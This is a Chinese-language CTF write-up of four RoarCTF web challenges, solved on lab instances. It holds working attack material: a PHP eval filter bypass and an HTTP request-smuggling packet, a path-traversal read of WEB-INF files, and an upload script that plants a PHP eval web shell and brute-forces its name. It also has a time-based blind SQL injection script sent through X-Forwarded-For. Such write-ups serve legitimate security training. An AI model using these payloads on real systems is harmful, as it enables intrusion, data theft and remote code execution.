终于考完近代物理了…简单记录下这周复现的roarctf

Easy Calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
  • 有waf不能输入字母,有两个绕过方法:
    1. 利用PHP的字符串解析特性Bypass
    2. 利用http请求走私,构造畸形的http包,使前端服务器(waf)直接把数据包发给后端服务器
  • 接下来利用chr()绕过特殊字符的限制
  • payload1(利用php字符串解析特性):
    1
    calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
  • payload2(利用http请求走私):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /calc.php?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) HTTP/1.1
    Host: node3.buuoj.cn:28773
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: track_uuid=602df192-f40e-4803-e23d-7e541f2f9612
    DNT: 1
    X-Forwarded-For: 8.8.8.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 3
    Content-Length: 3

    abc

    Easy Java

    对java不是特别了解,通过这题学习一点基础的知识
  • 弱口令admin:admin888 登录
  • 在登陆界面的help会访问/Download?filename=help.docx,显示java.io.FileNotFoundException:{help.docx},可能是个文件下载的接口
  • 把GET改为POST就可以成功下载文件
  • 读取WEB-INF/web.xml
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    HTTP/1.1 200 OK
    Server: openresty
    Date: Sat, 16 Nov 2019 15:19:11 GMT
    Content-Type: application/xml
    Content-Length: 1562
    Connection: close
    Content-Disposition: attachment;filename=WEB-INF/web.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
    version="4.0">

    <welcome-file-list>
    <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
    <servlet-name>IndexController</servlet-name>
    <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
    <servlet-name>IndexController</servlet-name>
    <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
    <servlet-name>LoginController</servlet-name>
    <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
    <servlet-name>LoginController</servlet-name>
    <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
    <servlet-name>DownloadController</servlet-name>
    <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
    <servlet-name>DownloadController</servlet-name>
    <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
    <servlet-name>FlagController</servlet-name>
    <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
    <servlet-name>FlagController</servlet-name>
    <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

    </web-app>
  • 直接访问/Flag 显示http500
  • 读取WEB-INF/classes/com/wm/ctf/FlagController.class
    得到base64编码后的flag

Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
  • 使用了thinkphp的上传类,查看thinkphp的代码会发现\Think\Upload类没有allowExts这一属性,所以这个限制直接可以无视
  • 前面还限制了后缀不能为php
    1
    2
    3
    if (strstr(strtolower($uploadFile['name']), ".php") ) {
    return false;
    }
  • 查看thinkphp的手册可以发现多文件上传时只需要修改前端代码,\Think\Upload类会把所有文件都上传,而后缀的限制只针对$_FILES[‘file’]。因此可以上传多个文件绕过
  • 文件上传后的名字默认由uniqid()生成,该函数是根据时间生成的,因此可以进行爆破

附上写的很烂的爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import re

def send(url,files='',proxy=''):
if files!='' and proxy!='':
response = requests.post(url=url,files=files,proxies=proxy)
print(response.text)
return response.text
else:
print(url)
response = requests.post(url=url)
if response.status_code!=404:
print(url)
exit(0)

def parseReq(req):
result = re.search(r'^{\"url\":\"\\\/Public\\\/Uploads\\\/2020-02-17\\\/(.*)\.\",\"success\":1}$',req)
filename = result.group(1)
print(filename)
return filename

def explode(filename1,filename2):
url = 'http://93282c74-cf14-44a9-93ae-ff2413431a98.node3.buuoj.cn/Public/Uploads/2020-02-17/'
proxy = {'http':'http://127.0.0.1:8080'}
id_start = eval('0x'+filename1)
id_end = eval('0x'+filename2)
for i in range(id_start,id_end):
print(str(i)+'/'+str(id_end))
send(url+hex(i)[2:]+'.php')

url = 'http://93282c74-cf14-44a9-93ae-ff2413431a98.node3.buuoj.cn/?c=index&a=upload'
proxy = {'http':'http://127.0.0.1:8080'}
files = {'file':'aaaa','evil.php':'<?php eval($_POST[\'a\']); ?>'}
req1 = send(url,files,proxy)
files = {'file':'aaaa'}
req2 = send(url,files,proxy)
filename1 = parseReq(req1)
filename2 = parseReq(req2)
explode(filename1,filename2)

online_proxy

X-Forwarded-For头存在一个二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://node3.buuoj.cn:28126/?url=http://localhost:28126/'
dic = ",{}_-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@!$%^&*()_+-="
flag = ''

for i in range(1,80):
print(i)
for x in dic:
headers = {"Cookie":"track_uuid=602df192-f40e-4803-e23d-7e541f2f9612","X-Forwarded-For":"1' and if(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),%d,1)='%s',sleep(4),null) and '1'='1"%(i,x)}
headers2 = {"Cookie":"track_uuid=602df192-f40e-4803-e23d-7e541f2f9612","X-Forwarded-For":"123"}
try:
res1 = requests.get(url,headers=headers,proxies={'http':"http://127.0.0.1:8080"})
res2 = requests.get(url,headers=headers2,timeout=4,proxies={'http':"http://127.0.0.1:8080"})
except requests.exceptions.ReadTimeout:
flag = flag + x
print(flag)
break
print(flag)